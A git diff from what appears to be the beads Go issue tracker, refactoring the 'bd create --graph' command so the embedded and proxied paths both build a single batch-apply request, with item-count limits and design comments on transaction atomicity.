"graph_apply_execution_test.go", - "graph_apply_execution_unit_test.go", "graph_apply_test.go", + "graph_apply_thread_spawner_embedded_test.go", "graph_embedded_test.go", "graph_export_test.go", "graph_proxied_integration_test.go", @@ -819,9 +819,12 @@ go_test( "identity_preview_gate_test.go", "identity_preview_refusal_test.go", "if_revision_embedded_test.go", + "if_revision_gc_matcher_embedded_test.go", "if_revision_proxied_close_delete_test.go", + "if_revision_proxied_integration_test.go", "if_revision_reassign_fence_embedded_test.go", "if_revision_reassign_fence_proxied_test.go", + "if_revision_reopen_embedded_test.go", "if_revision_test.go", "import_chunking_embedded_test.go", "import_chunking_test.go", diff --git a/cmd/bd/create_proxied_server.go b/cmd/bd/create_proxied_server.go index dcc409dd6..4e29fcca6 100644 --- a/cmd/bd/create_proxied_server.go +++ b/cmd/bd/create_proxied_server.go @@ -317,47 +317,47 @@ func runCreateProxiedGraph(_ *cobra.Command, ctx context.Context, in createInput return nil } - domainPlan, err := buildDomainGraphPlan(plan, in) + // Live apply runs the same shared validation the dry-run branch above just + // ran, through its own short-lived unit of work (the collision preflight + // in this pass is therefore NOT atomic with the apply below — a real + // explicit-ID collision is still caught, because BatchApplier's own + // create item independently raises storage.ErrAlreadyExists; this preflight + // just gives that case a clearer "invalid graph plan" message up front). + // BatchApplier manages its own transaction and commit-retry budget (see + // internal/storage/uow/batch_applier.go), so the apply itself is NOT + // wrapped in uow.RunTxResult the way the old domain.GraphPlan path was. + validateUW, err := uowProvider.NewUOW(ctx) if err != nil { - return err + return HandleError("open unit of work: %v", err) + } + cctx, err := validateUW.ConfigUseCase().LoadCreateContext(ctx) + if err != nil { + validateUW.Close(ctx) + return HandleError("load create context: %v", err) + } + _, err = validateProxiedGraphPlan(&plan, in, cctx, uowIssueExists(ctx, validateUW)) + validateUW.Close(ctx) + if err != nil { + return HandleError("invalid graph plan: %v", err) } - commitMsg := plan.CommitMessage - if commitMsg == "" { - commitMsg = fmt.Sprintf("bd: graph-apply %d nodes", len(plan.Nodes)) + src, ok := uowProvider.(uow.BatchApplierSource) + if !ok { + return HandleError("proxied-server provider %T does not offer the batch-apply surface", uowProvider) } - - res, err := uow.RunTxResult(ctx, uowProvider, func(ctx context.Context, uw uow.UnitOfWork) (map[string]string, string, error) { - cctx, err := uw.ConfigUseCase().LoadCreateContext(ctx) - if err != nil { - return nil, "", fmt.Errorf("load create context: %w", err) - } - - // validateProxiedGraphPlan enforces a uniform storage class, so its - // resolved useWisp decides which table the whole plan routes to. The - // collision preflight runs inside this transaction, so it cannot race - // a concurrent create of the same explicit ID. - useWisp, err := validateProxiedGraphPlan(&plan, in, cctx, uowIssueExists(ctx, uw)) - if err != nil { - return nil, "", fmt.Errorf("invalid graph plan: %w", err) - } - - var result domain.GraphApplyResult - var applyErr error - if useWisp { - result, applyErr = uw.IssueUseCase().ApplyWispGraph(ctx, domainPlan, in.createdBy) - } else { - result, applyErr = uw.IssueUseCase().ApplyIssueGraph(ctx, domainPlan, in.createdBy) - } - if applyErr != nil { - return nil, "", fmt.Errorf("graph create: %w", applyErr) - } - - return result.IDs, commitMsg, nil - }) + applier, err := src.BatchApplier() if err != nil { return HandleError("%v", err) } + req, err := buildGraphApplyBatchRequest(&plan, in.graphApplyOptions(), in.createdBy, in.owner) + if err != nil { + return HandleError("%v", err) + } + result, err := applier.ApplyBatch(ctx, req) + if err != nil { + return HandleError("graph create: %v", err) + } + res := result.Keys if in.jsonOutput { if err := outputJSON(GraphApplyResult{IDs: res}); err != nil { @@ -421,48 +421,3 @@ func uowIssueExists(ctx context.Context, uw uow.UnitOfWork) func(id string) (boo return false, nil } } - -// graphApplyNodeIssue path (full issue-model parity with `bd create`). -func buildDomainGraphPlan(plan GraphApplyPlan, in createInput) (domain.GraphPlan, error) { - opts := in.graphApplyOptions() - nodes := make([]domain.GraphNode, 0, len(plan.Nodes)) - for _, n := range plan.Nodes { - issue, err := graphApplyNodeIssue(n, opts, in.createdBy, in.owner) - if err != nil { - return domain.GraphPlan{}, fmt.Errorf("invalid graph plan: %w", err) - } - deps := make([]domain.GraphNodeDep, 0, len(n.Deps)) - for _, d := range n.Deps { - deps = append(deps, domain.GraphNodeDep{ - Type: graphApplyDependencyType(d.Type), - Target: d.Target, - }) - } - nodes = append(nodes, domain.GraphNode{ - Key: n.Key, - Issue: issue, - ParentKey: n.effectiveParentKey(), - ParentID: n.ParentID, - Assignee: n.Assignee, - AssignAfterCreate: n.AssignAfterCreate, - MetadataRefs: n.MetadataRefs, - Labels: n.Labels, - Deps: deps, - }) - } - edges := make([]domain.GraphEdge, 0, len(plan.Edges)) - for _, e := range plan.Edges { - edges = append(edges, domain.GraphEdge{ - FromKey: e.FromKey, - FromID: e.FromID, - ToKey: e.ToKey, - ToID: e.ToID, - Type: graphApplyDependencyType(e.Type), - Gate: e.Gate, - SpawnerKey: e.SpawnerKey, - SpawnerID: e.SpawnerID, - ThreadID: e.ThreadID, - }) - } - return domain.GraphPlan{Nodes: nodes, Edges: edges}, nil -} diff --git a/cmd/bd/create_proxied_server_test.go b/cmd/bd/create_proxied_server_test.go index a1a327920..ed8e1a80f 100644 --- a/cmd/bd/create_proxied_server_test.go +++ b/cmd/bd/create_proxied_server_test.go @@ -2,7 +2,6 @@ package main import ( "encoding/json" - "fmt" "reflect" "testing" "time" @@ -278,150 +277,6 @@ func TestGraphApplyNodeIssue_DefaultsAndOpts(t *testing.T) { }) } -func TestBuildDomainGraphPlan(t *testing.T) { - plan := GraphApplyPlan{ - Nodes: []GraphApplyNode{ - {Key: "root", Title: "Root", Type: "epic"}, - {Key: "child", Title: "Child", ParentKey: "root", Assignee: "bob", AssignAfterCreate: true, - MetadataRefs: map[string]string{"parent_id": "root"}, Labels: []string{"a", "b"}}, - }, - Edges: []GraphApplyEdge{ - {FromKey: "child", ToKey: "root", Type: ""}, - {FromKey: "child", ToKey: "root", Type: "related"}, - {FromID: "ext-1", ToID: "ext-2", Type: "blocks"}, - }, - } - - got, err := buildDomainGraphPlan(plan, createInput{createdBy: "t"}) - if err != nil { - t.Fatalf("buildDomainGraphPlan: %v", err) - } - - if len(got.Nodes) != 2 { - t.Fatalf("nodes len = %d", len(got.Nodes)) - } - if got.Nodes[0].Key != "root" || got.Nodes[0].Issue == nil || got.Nodes[0].Issue.IssueType != types.TypeEpic { - t.Errorf("root node wrong: %+v", got.Nodes[0]) - } - c := got.Nodes[1] - if c.ParentKey != "root" { - t.Errorf("child ParentKey = %q", c.ParentKey) - } - if c.Assignee != "bob" || !c.AssignAfterCreate { - t.Errorf("child assignee/defer wrong: %+v", c) - } - if !reflect.DeepEqual(c.Labels, []string{"a", "b"}) { - t.Errorf("child labels = %v", c.Labels) - } - if c.MetadataRefs["parent_id"] != "root" { - t.Errorf("child metadata_refs lost: %v", c.MetadataRefs) - } - - if len(got.Edges) != 3 { - t.Fatalf("edges len = %d", len(got.Edges)) - } - if got.Edges[0].Type != types.DepBlocks { - t.Errorf("empty edge type = %q, want blocks", got.Edges[0].Type) - } - if got.Edges[1].Type != types.DependencyType("related") { - t.Errorf("typed edge = %q", got.Edges[1].Type) - } - if got.Edges[2].FromID != "ext-1" || got.Edges[2].ToID != "ext-2" { - t.Errorf("ID edge lost: %+v", got.Edges[2]) - } -} - -// TestBuildDomainGraphPlan_AliasesAndDeps pins the proxied path's handling of -// the parent/estimate aliases and per-node deps — all three were silently -// dropped before reaching the domain apply (review finding). -func TestBuildDomainGraphPlan_AliasesAndDeps(t *testing.T) { - est := 90 - canonical := 30 - plan := GraphApplyPlan{ - Nodes: []GraphApplyNode{ - {Key: "root", Title: "Root"}, - {Key: "child", Title: "Child", Parent: "root", Estimate: &est, - Deps: []GraphApplyNodeDep{{Target: "root"}, {Target: "ext-1", Type: "related"}}}, - {Key: "both", Title: "Both", EstimatedMinutes: &canonical, Estimate: &est}, - }, - } - - got, err := buildDomainGraphPlan(plan, createInput{createdBy: "t"}) - if err != nil { - t.Fatalf("buildDomainGraphPlan: %v", err) - } - - c := got.Nodes[1] - if c.ParentKey != "root" { - t.Errorf("parent alias not folded into ParentKey: %q", c.ParentKey) - } - if c.Issue.EstimatedMinutes == nil || *c.Issue.EstimatedMinutes != 90 { - t.Errorf("estimate alias lost: %v", c.Issue.EstimatedMinutes) - } - if len(c.Deps) != 2 { - t.Fatalf("deps len = %d, want 2", len(c.Deps)) - } - if c.Deps[0].Target != "root" || c.Deps[0].Type != types.DepBlocks { - t.Errorf("dep 0 = %+v, want target root type blocks", c.Deps[0]) - } - if c.Deps[1].Target != "ext-1" || c.Deps[1].Type != types.DependencyType("related") { - t.Errorf("dep 1 = %+v", c.Deps[1]) - } - - b := got.Nodes[2] - if b.Issue.EstimatedMinutes == nil || *b.Issue.EstimatedMinutes != 30 { - t.Errorf("estimated_minutes should win over the alias: %v", b.Issue.EstimatedMinutes) - } -} - -// TestBuildDomainGraphPlanCoversEdgeFields pins the hand-maintained field -// copies in buildDomainGraphPlan: every GraphApplyEdge and GraphApplyNodeDep -// field must survive the projection into its domain counterpart. This is the -// edge-side twin of TestGraphApplyNodeCoversCreateIssueParams — the proxied -// path silently dropping fields (gate/spawner/thread, node deps) is the -// regression class this branch fixes. -func TestBuildDomainGraphPlanCoversEdgeFields(t *testing.T) { - fill := func(typ reflect.Type) reflect.Value { - v := reflect.New(typ).Elem() - for i := 0; i < typ.NumField(); i++ { - f := typ.Field(i) - if f.Type.Kind() != reflect.String { - t.Fatalf("%s field %s: unhandled kind %s; extend this parity test", typ.Name(), f.Name, f.Type.Kind()) - } - v.Field(i).SetString(fmt.Sprintf("v%d", i)) - } - return v - } - assertCopied := func(src reflect.Value, dst reflect.Value) { - typ := src.Type() - for i := 0; i < typ.NumField(); i++ { - name := typ.Field(i).Name - df := dst.FieldByName(name) - if !df.IsValid() { - t.Errorf("domain.%s has no field %q for %s.%s", dst.Type().Name(), name, typ.Name(), name) - continue - } - if got, want := df.String(), src.Field(i).String(); got != want { - t.Errorf("%s.%s = %q after projection, want %q (dropped in buildDomainGraphPlan?)", dst.Type().Name(), name, got, want) - } - } - } - - edge := fill(reflect.TypeOf(GraphApplyEdge{})) - dep := fill(reflect.TypeOf(GraphApplyNodeDep{})) - plan := GraphApplyPlan{ - Nodes: []GraphApplyNode{{Key: "k", Title: "T", - Deps: []GraphApplyNodeDep{dep.Interface().(GraphApplyNodeDep)}}}, - Edges: []GraphApplyEdge{edge.Interface().(GraphApplyEdge)}, - } - got, err := buildDomainGraphPlan(plan, createInput{createdBy: "t"}) - if err != nil { - t.Fatalf("buildDomainGraphPlan: %v", err) - } - assertCopied(edge, reflect.ValueOf(got.Edges[0])) - assertCopied(dep, reflect.ValueOf(got.Nodes[0].Deps[0])) -} - func TestParseMarkdownDependencies(t *testing.T) { tests := []struct { name string diff --git a/cmd/bd/graph_apply.go b/cmd/bd/graph_apply.go index 24ba135ab..00faeb197 100644 --- a/cmd/bd/graph_apply.go +++ b/cmd/bd/graph_apply.go @@ -16,6 +16,7 @@ import ( "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/internal/validation" "github.com/steveyegge/beads/internal/workapi" + "github.com/steveyegge/beads/issueops" ) // GraphApplyPlan describes a symbolic bead graph to create atomically. @@ -923,325 +924,262 @@ func graphApplyNodeStorageClass(node GraphApplyNode, opts GraphApplyOptions) (ep return ephemeral, noHistory, class, nil } -func executeGraphApply(ctx context.Context, plan *GraphApplyPlan, opts GraphApplyOptions) (*GraphApplyResult, error) { +// GraphApplyTooLargeError reports a graph plan whose translated BatchApplier +// item count exceeds the role's own flat ceiling (issueops.MaxApplyBatchItems). +// `bd create --graph` refuses outright rather than splitting the plan across +// more than one transaction, which would abandon the "atomic, all or nothing" +// guarantee the role and this command both promise. +type GraphApplyTooLargeError struct { + ItemCount int + Max int +} + +func (e *GraphApplyTooLargeError) Error() string { + return fmt.Sprintf("graph plan has %d BatchApplier item(s) (nodes, edges and deferred assignments combined), which exceeds the %d-item cap; split the plan into multiple `bd create --graph` calls — each is its own atomic transaction, so this command will never chunk one plan into several", e.ItemCount, e.Max) +} + +// buildGraphApplyBatchRequest translates a GraphApplyPlan into the single +// issueops.ApplyBatchRequest both the embedded and proxied `bd create --graph` +// legs now apply, so the two transports cannot drift in how a plan is read. +// +// Item order is: every node's create item first (plan order), then +// parent-child dep_add items, then explicit top-level edges (plan order), +// then per-node inline deps (plan order), then trailing update items for +// assign_after_create. Every create lands before any dep_add or update item +// references it, so every Ref below resolves backward regardless of which +// order the plan itself declares nodes and edges in (Ref.Key "reaches +// backward only" — issueops/batchapplier.go). +// +// What this function does NOT do, deliberately: re-check for dependency +// cycles, parent-child blocking paths, or duplicate/reverse parent-child +// pairs. BatchApplier's own end gate re-validates the whole scheduling graph +// after every item, and its per-edge insert already raises +// *issueops.DependencyTypeConflictError for a same-pair, different-type +// conflict — both are one shared implementation reached from every leg, so +// re-deriving them here would be a second, divergeable copy of a check the +// role already owns. +// +// One consequence is accepted on purpose: the end gate walks the scheduling +// edges only (types.IsSchedulingEdge leaves waits-for out), so a plan whose +// path from a node's parent to the node runs through a waits-for hop is now +// stored, where the old in-transaction preflight, which walked every +// AffectsReadyWork edge, refused it. `bd dep add` and `bd batch apply` store +// that shape too, and it can stall ready work: once the spawner has an open +// child, every issue in the shape stays blocked. Refusing it is a change to +// the shared role, for every front door at once; +// TestExecuteGraphApplyAcceptsParentToChildPathThroughWaitsFor pins the +// current behavior until then. +func buildGraphApplyBatchRequest(plan *GraphApplyPlan, opts GraphApplyOptions, actor, owner string) (issueops.ApplyBatchRequest, error) { if err := opts.Validate(); err != nil { - return nil, err + return issueops.ApplyBatchRequest{}, err } - keyToID := make(map[string]string, len(plan.Nodes)) - owner := getOwner() + planKeys := make(map[string]bool, len(plan.Nodes)) + for _, node := range plan.Nodes { + planKeys[node.Key] = true + } + + // ref mirrors the old resolveEdgeRef precedence: an explicit id wins over + // a plan key when an edge endpoint carries both. + ref := func(key, id string) issueops.Ref { + if id != "" { + return issueops.Ref{ID: id} + } + return issueops.Ref{Key: key} + } + + items := make([]issueops.ApplyItem, 0, len(plan.Nodes)*2+len(plan.Edges)) + pendingAssignees := make(map[string]string, len(plan.Nodes)) + + // Pass 1: create every node. ALL creates land before any dep_add/update + // item below, so backward-only Ref resolution never depends on the plan's + // own node order. + for _, node := range plan.Nodes { + issue, err := graphApplyNodeIssue(node, opts, actor, owner) + if err != nil { + return issueops.ApplyBatchRequest{}, err + } + if node.Assignee != "" { + if node.AssignAfterCreate { + pendingAssignees[node.Key] = node.Assignee + } else { + issue.Assignee = node.Assignee + } + } + var metadataRefs map[string]issueops.Ref + if len(node.MetadataRefs) > 0 { + metadataRefs = make(map[string]issueops.Ref, len(node.MetadataRefs)) + for metaKey, refKey := range node.MetadataRefs { + // CreateItem.MetadataRefs is the one ref member allowed to reach + // forward (or to itself); refKey is always a plan-local key + // (validateGraphApplyPlan already rejected an unknown one). + metadataRefs[metaKey] = issueops.Ref{Key: refKey} + } + } + items = append(items, issueops.ApplyItem{ + Kind: issueops.ItemCreate, + Create: &issueops.CreateItem{ + Key: node.Key, + Issue: issue, + MetadataRefs: metadataRefs, + }, + }) + } + + // Pass 2: parent-child dep_add items, one per node with a parent — added + // before any other edge, matching the embedded path's old ordering. + // + // A node naming both a plan-local parent and a parent_id keeps the old + // precedence of both legs: the plan key wins. That is the reverse of ref's + // id-first rule for edge endpoints, and it is the parent the dry-run + // preview and validateGraphApplyLocalCycles already model. + for _, node := range plan.Nodes { + var parent issueops.Ref + switch parentKey := node.effectiveParentKey(); { + case parentKey != "": + parent = issueops.Ref{Key: parentKey} + case node.ParentID != "": + parent = issueops.Ref{ID: node.ParentID} + default: + continue + } + items = append(items, issueops.ApplyItem{ + Kind: issueops.ItemDepAdd, + DepAdd: &issueops.DepAddItem{ + Source: issueops.Ref{Key: node.Key}, + Target: parent, + Type: types.DepParentChild, + }, + }) + } + + // Pass 3: explicit top-level edges, in plan order. + for _, edge := range plan.Edges { + depType := graphApplyDependencyType(edge.Type) + metadata, err := graphApplyEdgeBatchMetadata(edge, depType) + if err != nil { + return issueops.ApplyBatchRequest{}, err + } + items = append(items, issueops.ApplyItem{ + Kind: issueops.ItemDepAdd, + DepAdd: &issueops.DepAddItem{ + Source: ref(edge.FromKey, edge.FromID), + Target: ref(edge.ToKey, edge.ToID), + Type: depType, + Metadata: metadata, + HasSpawner: edge.SpawnerKey != "" || edge.SpawnerID != "", + ThreadID: edge.ThreadID, + }, + }) + } + + // Pass 4: per-node inline deps, in plan order. Target resolves as a plan + // key first, then falls back to a literal issue id — the same precedence + // types.NewGraphNodeDependency applied on the old embedded path. + for _, node := range plan.Nodes { + for _, dep := range node.Deps { + depType := types.DependencyType(dep.Type) + if depType == "" { + depType = types.DepBlocks + } + target := issueops.Ref{ID: dep.Target} + if planKeys[dep.Target] { + target = issueops.Ref{Key: dep.Target} + } + items = append(items, issueops.ApplyItem{ + Kind: issueops.ItemDepAdd, + DepAdd: &issueops.DepAddItem{ + Source: issueops.Ref{Key: node.Key}, + Target: target, + Type: depType, + }, + }) + } + } + + // Pass 5: deferred assignees (assign_after_create), trailing update items + // in plan order. + for _, node := range plan.Nodes { + assignee, ok := pendingAssignees[node.Key] + if !ok { + continue + } + items = append(items, issueops.ApplyItem{ + Kind: issueops.ItemUpdate, + Update: &issueops.UpdateItem{ + Target: issueops.Ref{Key: node.Key}, + Patch: issueops.IssuePatch{Assignee: issueops.Field[string]{Set: true, Value: assignee}}, + }, + }) + } + + // This check is the CLIENT's own compiled copy of the role's flat ceiling + // (issueops.MaxApplyBatchItems, currently 1000 — see its doc comment for + // the 100-item legacy threshold and the issues.batchApplyLarge capability + // token). It is only correct when the embedded role IS this binary's own + // compiled copy, which is true for both BatchApplier legs this command + // reaches directly (issueops/embeddeddolt, uow/proxied-same-build). + // + // DESIGN NOTE for any future client that can reach a remote `bd serve` of + // a DIFFERENT version (e.g. a prospective S5 HTTP client): that client + // must NOT assume the remote accepts up to MaxApplyBatchItems. An older + // server may still enforce the legacy 100-item bound. Such a client must + // refuse locally at 100 unless the server has first advertised the + // issues.batchApplyLarge capability (internal/httpapi), or — if one + // becomes available — read the cap the store itself advertises, rather + // than trusting the requesting binary's own compiled constant. + if len(items) > issueops.MaxApplyBatchItems { + return issueops.ApplyBatchRequest{}, &GraphApplyTooLargeError{ItemCount: len(items), Max: issueops.MaxApplyBatchItems} + } commitMsg := plan.CommitMessage if commitMsg == "" { commitMsg = fmt.Sprintf("bd: graph-apply %d nodes", len(plan.Nodes)) } - if err := store.RunInTransaction(ctx, commitMsg, func(tx storage.Transaction) error { - issues := make([]*types.Issue, 0, len(plan.Nodes)) - pendingAssignees := make(map[int]string) + return issueops.ApplyBatchRequest{ + Actor: actor, + Items: items, + Provenance: commitMsg, + ForceIDPrefix: opts.Force, + }, nil +} - for i, node := range plan.Nodes { - issue, err := graphApplyNodeIssue(node, opts, actor, owner) - if err != nil { - return err - } - if node.Assignee != "" { - if node.AssignAfterCreate { - pendingAssignees[i] = node.Assignee - } else { - issue.Assignee = node.Assignee - } - } +// graphApplyEdgeBatchMetadata builds a dep_add item's Metadata for a waits-for +// edge. Only Gate is carried here: SpawnerKey/SpawnerID are redundant with the +// edge's own Target (validateGraphApplyPlan already forces SpawnerKey == +// ToKey and SpawnerID == ToID — "the waits-for target is the spawner"), so +// this never needs to resolve one. The role's own +// internal/storage/issueops.StampWaitsForSpawnerID fills metadata.spawner_id +// from the resolved target AFTER the batch mints every id, which is the only +// way a same-batch, plan-local spawner key can land in the blob at all — this +// function runs before any id in the plan exists. An empty Gate is left for +// normalizeApplyEdgeMetadata to default to {"gate":"all-children"}. +func graphApplyEdgeBatchMetadata(edge GraphApplyEdge, depType types.DependencyType) (string, error) { + if depType != types.DepWaitsFor || edge.Gate == "" { + return "", nil + } + raw, err := json.Marshal(types.WaitsForMeta{Gate: edge.Gate}) + if err != nil { + return "", fmt.Errorf("edge %s%s -> %s%s: marshaling gate metadata: %w", edge.FromKey, edge.FromID, edge.ToKey, edge.ToID, err) + } + return string(raw), nil +} - issues = append(issues, issue) - } - - if err := tx.CreateIssues(ctx, issues, actor); err != nil { - return fmt.Errorf("batch create: %w", err) - } - - for i, node := range plan.Nodes { - keyToID[node.Key] = issues[i].ID - } - - // Resolve MetadataRefs now that all IDs are known. - for i, node := range plan.Nodes { - if len(node.MetadataRefs) == 0 { - continue - } - metaJSON, err := types.MergeMetadataRefs(issues[i].Metadata, node.MetadataRefs, keyToID) - if err != nil { - return fmt.Errorf("node %q: %w", node.Key, err) - } - updates := map[string]interface{}{ - "metadata": metaJSON, - } - if err := tx.UpdateIssue(ctx, issues[i].ID, updates, actor); err != nil { - return fmt.Errorf("node %q: updating metadata refs: %w", node.Key, err) - } - } - - parentDepPairs := graphApplyParentDepPairs(plan.Nodes, keyToID) - newSchedulingEdges := make([][2]string, 0, len(plan.Nodes)+len(plan.Edges)) - if err := validateGraphApplyPlannedParentBlockingPaths(ctx, tx, plan, keyToID, parentDepPairs); err != nil { - return err - } - if err := validateGraphApplyPlannedBlockingCycles(ctx, tx, plan, keyToID); err != nil { - return err - } - for i, edge := range plan.Edges { - fromID := resolveEdgeRef(edge.FromKey, edge.FromID, keyToID) - toID := resolveEdgeRef(edge.ToKey, edge.ToID, keyToID) - depType := graphApplyDependencyType(edge.Type) - if parentDepPairs[graphApplyDepPairKey(fromID, toID)] && depType != types.DepParentChild { - return fmt.Errorf("edge %d %s->%s duplicates a parent-child relationship with dependency type %q", i, fromID, toID, depType) - } - if parentDepPairs[graphApplyDepPairKey(toID, fromID)] && graphApplyCycleRelevantDependencyType(depType) { - return fmt.Errorf("edge %d %s->%s creates a blocking reverse of a parent-child relationship", i, fromID, toID) - } - } - - // Add node parent-child dependencies first. The explicit and inline - // dependency sources below are also processed parent-first, so every - // blocking edge sees the plan's full hierarchy in storage. - for i, node := range plan.Nodes { - parentKey := node.effectiveParentKey() - parentID := node.ParentID - if parentKey != "" { - parentID = keyToID[parentKey] - } - if parentID != "" { - dep := &types.Dependency{ - IssueID: issues[i].ID, - DependsOnID: parentID, - Type: types.DepParentChild, - } - if err := tx.AddDependency(ctx, dep, actor); err != nil { - return fmt.Errorf("node %q: adding parent-child dep: %w", node.Key, err) - } - newSchedulingEdges = append(newSchedulingEdges, [2]string{dep.IssueID, dep.DependsOnID}) - } - } - - for phase := 0; phase < 2; phase++ { - parentPhase := phase == 0 - // Add explicit edges in stable order for this phase. - for i, edge := range plan.Edges { - fromID := resolveEdgeRef(edge.FromKey, edge.FromID, keyToID) - toID := resolveEdgeRef(edge.ToKey, edge.ToID, keyToID) - depType := graphApplyDependencyType(edge.Type) - if (depType == types.DepParentChild) != parentPhase { - continue - } - if parentDepPairs[graphApplyDepPairKey(fromID, toID)] { - if depType == types.DepParentChild { - continue - } - return fmt.Errorf("edge %d %s->%s duplicates a parent-child relationship with dependency type %q", i, fromID, toID, depType) - } - if parentDepPairs[graphApplyDepPairKey(toID, fromID)] && graphApplyCycleRelevantDependencyType(depType) { - return fmt.Errorf("edge %d %s->%s creates a blocking reverse of a parent-child relationship", i, fromID, toID) - } - dep, err := types.NewGraphEdgeDependency(fromID, toID, depType, edge.Gate, edge.SpawnerKey, edge.SpawnerID, edge.ThreadID, keyToID) - if err != nil { - return fmt.Errorf("edge %s->%s: %w", fromID, toID, err) - } - if err := tx.AddDependencyWithOptions(ctx, dep, actor, storage.DependencyAddOptions{}); err != nil { - return fmt.Errorf("adding edge %s->%s: %w", fromID, toID, err) - } - if graphApplySchedulingDependencyType(depType) { - newSchedulingEdges = append(newSchedulingEdges, [2]string{fromID, toID}) - } - } - - // Add per-node inline dependencies in stable order for this phase. - for i, node := range plan.Nodes { - for _, dep := range node.Deps { - depType := types.DependencyType(dep.Type) - if depType == "" { - depType = types.DepBlocks - } - if (depType == types.DepParentChild) != parentPhase { - continue - } - d, err := types.NewGraphNodeDependency(issues[i].ID, depType, dep.Target, keyToID) - if err != nil { - return fmt.Errorf("node %q: %w", node.Key, err) - } - if err := tx.AddDependency(ctx, d, actor); err != nil { - return fmt.Errorf("node %q: adding dep to %q: %w", node.Key, dep.Target, err) - } - if graphApplySchedulingDependencyType(d.Type) { - newSchedulingEdges = append(newSchedulingEdges, [2]string{d.IssueID, d.DependsOnID}) - } - } - } - } - if cyclePath, err := tx.CycleThroughEdges(ctx, newSchedulingEdges); err != nil { - return fmt.Errorf("final graph cycle check: %w", err) - } else if cyclePath != "" { - return fmt.Errorf("graph dependency cycle would be created: %s", cyclePath) - } - - // Apply deferred assignees. - for i, assignee := range pendingAssignees { - updates := map[string]interface{}{ - "assignee": assignee, - } - if err := tx.UpdateIssue(ctx, issues[i].ID, updates, actor); err != nil { - return fmt.Errorf("node %q: setting assignee: %w", plan.Nodes[i].Key, err) - } - } - - return nil - }); err != nil { +func executeGraphApply(ctx context.Context, plan *GraphApplyPlan, opts GraphApplyOptions) (*GraphApplyResult, error) { + req, err := buildGraphApplyBatchRequest(plan, opts, actor, getOwner()) + if err != nil { return nil, err } - - return &GraphApplyResult{IDs: keyToID}, nil -} - -// validateGraphApplyPlannedBlockingCycles rejects planned blocking edges that -// would close a blocking-dependency cycle, evaluated whole-graph before any -// insert. This early preflight is restricted to blocking edges for precise -// plan errors. Each stored edge still runs issueops.CheckDependencyCycleInTx, -// which enforces the combined blocks + conditional-blocks + parent-child graph. -func validateGraphApplyPlannedBlockingCycles(ctx context.Context, tx storage.Transaction, plan *GraphApplyPlan, keyToID map[string]string) error { - type plannedEdge struct { - index int - fromID string - toID string + applier, err := store.BatchApplier() + if err != nil { + return nil, err } - - adj := make(map[string][]string) - checks := make([]plannedEdge, 0, len(plan.Edges)) - for i, edge := range plan.Edges { - depType := graphApplyDependencyType(edge.Type) - if !graphApplyCycleRelevantDependencyType(depType) { - continue - } - fromID := resolveEdgeRef(edge.FromKey, edge.FromID, keyToID) - toID := resolveEdgeRef(edge.ToKey, edge.ToID, keyToID) - if fromID == "" || toID == "" { - continue - } - if fromID == toID { - return fmt.Errorf("edge %d %s->%s creates a blocking dependency cycle", i, fromID, toID) - } - adj[fromID] = append(adj[fromID], toID) - checks = append(checks, plannedEdge{index: i, fromID: fromID, toID: toID}) + result, err := applier.ApplyBatch(ctx, req) + if err != nil { + return nil, err } - - depCache := make(map[string][]*types.Dependency) - for _, edge := range checks { - hasPath, err := graphApplyHasPath(ctx, tx, adj, depCache, edge.toID, edge.fromID, graphApplyCycleRelevantDependencyType) - if err != nil { - return fmt.Errorf("edge %d %s->%s: checking planned blocking cycle: %w", edge.index, edge.fromID, edge.toID, err) - } - if hasPath { - return fmt.Errorf("edge %d %s->%s creates a blocking dependency cycle", edge.index, edge.fromID, edge.toID) - } - } - return nil -} - -// validateGraphApplyPlannedParentBlockingPaths rejects plans where a planned -// blocking edge would create a path from a parent to its child. Unlike -// validateGraphApplyPlannedBlockingCycles, its existing-dep walk follows the -// full AffectsReadyWork set (blocks, conditional-blocks, parent-child, -// waits-for) because a parent→child path closed through any ready-affecting -// dependency is a real ready-work deadlock. The two predicates must stay -// distinct: narrowing this one would miss real deadlocks, while this broader -// walk may additionally reject a return path through waits-for. -func validateGraphApplyPlannedParentBlockingPaths(ctx context.Context, tx storage.Transaction, plan *GraphApplyPlan, keyToID map[string]string, parentDepPairs map[string]bool) error { - adj := make(map[string][]string) - for pair := range parentDepPairs { - fromID, toID, ok := graphApplyDepPairIDs(pair) - if ok { - adj[fromID] = append(adj[fromID], toID) - } - } - for _, edge := range plan.Edges { - depType := graphApplyDependencyType(edge.Type) - if !graphApplyReadyPathDependencyType(depType) { - continue - } - fromID := resolveEdgeRef(edge.FromKey, edge.FromID, keyToID) - toID := resolveEdgeRef(edge.ToKey, edge.ToID, keyToID) - if fromID == "" || toID == "" { - continue - } - // Direct parent -> child blocking edges have a dedicated error below. - // This prewrite pass covers transitive parent -> ... -> child paths. - if graphApplyCycleRelevantDependencyType(depType) && parentDepPairs[graphApplyDepPairKey(toID, fromID)] { - continue - } - adj[fromID] = append(adj[fromID], toID) - } - - depCache := make(map[string][]*types.Dependency) - for _, node := range plan.Nodes { - childID := keyToID[node.Key] - parentID := node.ParentID - if parentKey := node.effectiveParentKey(); parentKey != "" { - parentID = keyToID[parentKey] - } - if childID == "" || parentID == "" { - continue - } - hasPath, err := graphApplyHasPath(ctx, tx, adj, depCache, parentID, childID, graphApplyReadyPathDependencyType) - if err != nil { - return err - } - if hasPath { - return fmt.Errorf("node %q: planned blocking dependencies create a path from parent %q to child %q", node.Key, parentID, childID) - } - } - return nil -} - -// graphApplyHasPath reports whether fromID can reach toID by following the -// in-memory planned adjacency plus existing store dependencies. followExistingDep -// selects which existing dep types the walk traverses, letting callers mirror -// either the early blocking-only preflight or the broader ready-work graph. -func graphApplyHasPath(ctx context.Context, tx storage.Transaction, adj map[string][]string, depCache map[string][]*types.Dependency, fromID, toID string, followExistingDep func(types.DependencyType) bool) (bool, error) { - seen := make(map[string]bool) - var visit func(string) (bool, error) - visit = func(id string) (bool, error) { - if id == toID { - return true, nil - } - if seen[id] { - return false, nil - } - seen[id] = true - for _, next := range adj[id] { - found, err := visit(next) - if err != nil || found { - return found, err - } - } - deps, ok := depCache[id] - if !ok { - var err error - deps, err = tx.GetDependencyRecords(ctx, id) - if err != nil { - return false, fmt.Errorf("reading existing dependencies for %s: %w", id, err) - } - depCache[id] = deps - } - for _, dep := range deps { - if !followExistingDep(dep.Type) { - continue - } - found, err := visit(dep.DependsOnID) - if err != nil || found { - return found, err - } - } - return false, nil - } - return visit(fromID) + return &GraphApplyResult{IDs: result.Keys}, nil } // graphApplyEdgeIsLocalCycleRelevant reports whether an edge participates in the @@ -1266,14 +1204,6 @@ 